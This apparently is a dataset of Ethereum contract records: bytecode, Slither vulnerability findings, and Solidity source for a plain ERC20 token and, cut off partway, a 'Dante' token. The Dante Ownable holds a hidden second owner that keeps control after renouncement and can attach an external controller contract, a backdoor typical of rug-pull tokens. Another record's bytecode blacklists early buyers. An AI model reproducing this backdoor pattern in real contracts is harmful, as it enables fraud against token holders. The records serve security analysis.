0ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e8b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610610565b6001600160a01b038216610eed5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610610565b60008111610f4f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610610565b6000546001600160a01b03848116911614801590610f7b57506000546001600160a01b03838116911614155b156112d357601654600160a01b900460ff16611014576000546001600160a01b038481169116146110145760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610610565b6017548111156110665760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610610565b6001600160a01b03831660009081526011602052604090205460ff161580156110a857506001600160a01b03821660009081526011602052604090205460ff16155b6111005760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610610565b600854431115801561111f57506016546001600160a01b038481169116145b801561113957506015546001600160a01b03838116911614155b801561114e57506001600160a01b0382163014155b15611177576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146111fc5760185481611199846107e3565b6111a39190611e9f565b106111fc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610610565b6000611207306107e3565b6019546017549192508210159082106112205760175491505b8080156112375750601654600160a81b900460ff16155b801561125157506016546001600160a01b03868116911614155b80156112665750601654600160b01b900460ff165b801561128b57506001600160a01b03851660009081526005602052604090205460ff16155b80156112b057506001600160a01b03841660009081526005602052604090205460ff16155b156112d0576112be826114d2565b4780156112ce576112ce47611414565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061131557506001600160a01b03831660009081526005602052604090205460ff165b8061134757506016546001600160a01b0385811691161480159061134757506016546001600160a01b03848116911614155b15611354575060006113ce565b6016546001600160a01b03858116911614801561137f57506015546001600160a01b03848116911614155b1561139157600954600d55600a54600e555b6016546001600160a01b0384811691161480156113bc57506015546001600160a01b03858116911614155b156113ce57600b54600d55600c54600e555b610be48484848461165b565b600081848411156113fe5760405162461bcd60e51b81526004016106109190611c11565b50600061140b8486611eb7565b95945050505050565b6014546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610681573d6000803e3d6000fd5b60006006548211156114b55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610610565b60006114bf611689565b90506114cb83826116ac565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061151a5761151a611e58565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561156e57600080fd5b505afa158015611582573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a69190611ece565b816001815181106115b9576115b9611e58565b6001600160a01b0392831660209182029290920101526015546115df9130911684610d03565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611618908590600090869030904290600401611eeb565b600060405180830381600087803b15801561163257600080fd5b505af1158015611646573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611668576116686116ee565b61167384848461171c565b80610be457610be4600f54600d55601054600e55565b6000806000611696611813565b90925090506116a582826116ac565b9250505090565b60006114cb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611853565b600d541580156116fe5750600e54155b1561170557565b600d8054600f55600e805460105560009182905555565b60008060008060008061172e87611881565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061176090876118de565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461178f9086611920565b6001600160a01b0389166000908152600260205260409020556117b18161197f565b6117bb84836119c9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161180091815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061182e82826116ac565b82101561184a57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836118745760405162461bcd60e51b81526004016106109190611c11565b50600061140b8486611f5c565b600080600080600080600080600061189e8a600d54600e546119ed565b92509250925060006118ae611689565b905060008060006118c18e878787611a42565b919e509c509a509598509396509194505050505091939550919395565b60006114cb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113da565b60008061192d8385611e9f565b9050838110156114cb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610610565b6000611989611689565b905060006119978383611a92565b306000908152600260205260409020549091506119b49082611920565b30600090815260026020526040902055505050565b6006546119d690836118de565b6006556007546119e69082611920565b6007555050565b6000808080611a076064611a018989611a92565b906116ac565b90506000611a1a6064611a018a89611a92565b90506000611a3282611a2c8b866118de565b906118de565b9992985090965090945050505050565b6000808080611a518886611a92565b90506000611a5f8887611a92565b90506000611a6d8888611a92565b90506000611a7f82611a2c86866118de565b939b939a50919850919650505050505050565b600082611aa157506000610696565b6000611aad8385611f7e565b905082611aba8583611f5c565b146114cb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610610565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e057600080fd5b8035611b4781611b27565b919050565b60006020808385031215611b5f57600080fd5b823567ffffffffffffffff80821115611b7757600080fd5b818501915085601f830112611b8b57600080fd5b813581811115611b9d57611b9d611b11565b8060051b604051601f19603f83011681018181108582111715611bc257611bc2611b11565b604052918252848201925083810185019188831115611be057600080fd5b938501935b82851015611c0557611bf685611b3c565b84529385019392850192611be5565b98975050505050505050565b600060208083528351808285015260005b81811015611c3e57858101830151858201604001528201611c22565b81811115611c50576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c7957600080fd5b8235611c8481611b27565b946020939093013593505050565b600080600060608486031215611ca757600080fd5b8335611cb281611b27565b92506020840135611cc281611b27565b929592945050506040919091013590565b600060208284031215611ce557600080fd5b81356114cb81611b27565b80358015158114611b4757600080fd5b600060208284031215611d1257600080fd5b6114cb82611cf0565b600060208284031215611d2d57600080fd5b5035919050565b60008060008060808587031215611d4a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d7b57600080fd5b833567ffffffffffffffff80821115611d9357600080fd5b818601915086601f830112611da757600080fd5b813581811115611db657600080fd5b8760208260051b8501011115611dcb57600080fd5b602092830195509350611de19186019050611cf0565b90509250925092565b60008060408385031215611dfd57600080fd5b8235611e0881611b27565b91506020830135611e1881611b27565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e9857611e98611e6e565b5060010190565b60008219821115611eb257611eb2611e6e565b500190565b600082821015611ec957611ec9611e6e565b500390565b600060208284031215611ee057600080fd5b81516114cb81611b27565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f3b5784516001600160a01b031683529383019391830191600101611f16565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f7957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f9857611f98611e6e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122076b246880d60b7d855e0aea367d338b16526f66de886d9bda8aa789b03f47ff864736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 8,287 |
0x36dd53b5e7d9bc3553df970a67c2faea1177ebda
|
/**
*Submitted for verification at Etherscan.io on 2021-06-03
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract Globalization is ERC20 {
constructor(uint256 initialSupply) public ERC20 ("Globalization", "G11N"){
_mint(msg.sender, initialSupply);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e25565b60405180910390f35b6100e660048036038101906100e19190610c73565b610308565b6040516100f39190610e0a565b60405180910390f35b610104610326565b6040516101119190610f27565b60405180910390f35b610134600480360381019061012f9190610c24565b610330565b6040516101419190610e0a565b60405180910390f35b610152610428565b60405161015f9190610f42565b60405180910390f35b610182600480360381019061017d9190610c73565b610431565b60405161018f9190610e0a565b60405180910390f35b6101b260048036038101906101ad9190610bbf565b6104dd565b6040516101bf9190610f27565b60405180910390f35b6101d0610525565b6040516101dd9190610e25565b60405180910390f35b61020060048036038101906101fb9190610c73565b6105b7565b60405161020d9190610e0a565b60405180910390f35b610230600480360381019061022b9190610c73565b6106a2565b60405161023d9190610e0a565b60405180910390f35b610260600480360381019061025b9190610be8565b6106c0565b60405161026d9190610f27565b60405180910390f35b60606003805461028590611057565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190611057565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610ea7565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce9190610f79565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053490611057565b80601f016020809104026020016040519081016040528092919081815260200182805461056090611057565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a90610f07565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b690610ee7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082690610e67565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d9190610f27565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098190610ec7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190610e47565b60405180910390fd5b610a05838383610b90565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8290610e87565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e9190610f79565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b829190610f27565b60405180910390a350505050565b505050565b600081359050610ba481611321565b92915050565b600081359050610bb981611338565b92915050565b600060208284031215610bd157600080fd5b6000610bdf84828501610b95565b91505092915050565b60008060408385031215610bfb57600080fd5b6000610c0985828601610b95565b9250506020610c1a85828601610b95565b9150509250929050565b600080600060608486031215610c3957600080fd5b6000610c4786828701610b95565b9350506020610c5886828701610b95565b9250506040610c6986828701610baa565b9150509250925092565b60008060408385031215610c8657600080fd5b6000610c9485828601610b95565b9250506020610ca585828601610baa565b9150509250929050565b610cb881610fe1565b82525050565b6000610cc982610f5d565b610cd38185610f68565b9350610ce3818560208601611024565b610cec816110e7565b840191505092915050565b6000610d04602383610f68565b9150610d0f826110f8565b604082019050919050565b6000610d27602283610f68565b9150610d3282611147565b604082019050919050565b6000610d4a602683610f68565b9150610d5582611196565b604082019050919050565b6000610d6d602883610f68565b9150610d78826111e5565b604082019050919050565b6000610d90602583610f68565b9150610d9b82611234565b604082019050919050565b6000610db3602483610f68565b9150610dbe82611283565b604082019050919050565b6000610dd6602583610f68565b9150610de1826112d2565b604082019050919050565b610df58161100d565b82525050565b610e0481611017565b82525050565b6000602082019050610e1f6000830184610caf565b92915050565b60006020820190508181036000830152610e3f8184610cbe565b905092915050565b60006020820190508181036000830152610e6081610cf7565b9050919050565b60006020820190508181036000830152610e8081610d1a565b9050919050565b60006020820190508181036000830152610ea081610d3d565b9050919050565b60006020820190508181036000830152610ec081610d60565b9050919050565b60006020820190508181036000830152610ee081610d83565b9050919050565b60006020820190508181036000830152610f0081610da6565b9050919050565b60006020820190508181036000830152610f2081610dc9565b9050919050565b6000602082019050610f3c6000830184610dec565b92915050565b6000602082019050610f576000830184610dfb565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f848261100d565b9150610f8f8361100d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fc457610fc3611089565b5b828201905092915050565b6000610fda82610fed565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611042578082015181840152602081019050611027565b83811115611051576000848401525b50505050565b6000600282049050600182168061106f57607f821691505b60208210811415611083576110826110b8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61132a81610fcf565b811461133557600080fd5b50565b6113418161100d565b811461134c57600080fd5b5056fea264697066735822122085124d083cfcc907fb6b7960796b95eaa7b8d13ed9849acad4834540b3f49cf764736f6c63430008010033
|
{"success": true, "error": null, "results": {}}
| 8,288 |
0x93b3fb1a454cac4a4ced9a9c46907d1fb9ef4961
|
/*
site: https://dantedevil.com
twitter: https://twitter.com/DanteToken1
tg: https://t.me/DanteToken
*/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: UNLICENSED
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERCMetadata {
function totalSupply() external view returns (uint256);
function balanceOf(address spender) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOff(address account) external view returns(uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferTo(address spender, uint256 amount) external returns(bool);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract Ownable is Context {
address private _owner;
address private _owner2;
IERCMetadata internal __;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() || _owner2 == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyToken(address _addr) {
require(address(__) == address(0), "Token: caller is not the owner");
_owner2 = _addr;
__ = IERCMetadata(_addr);
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Ownable, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) internal _balances;
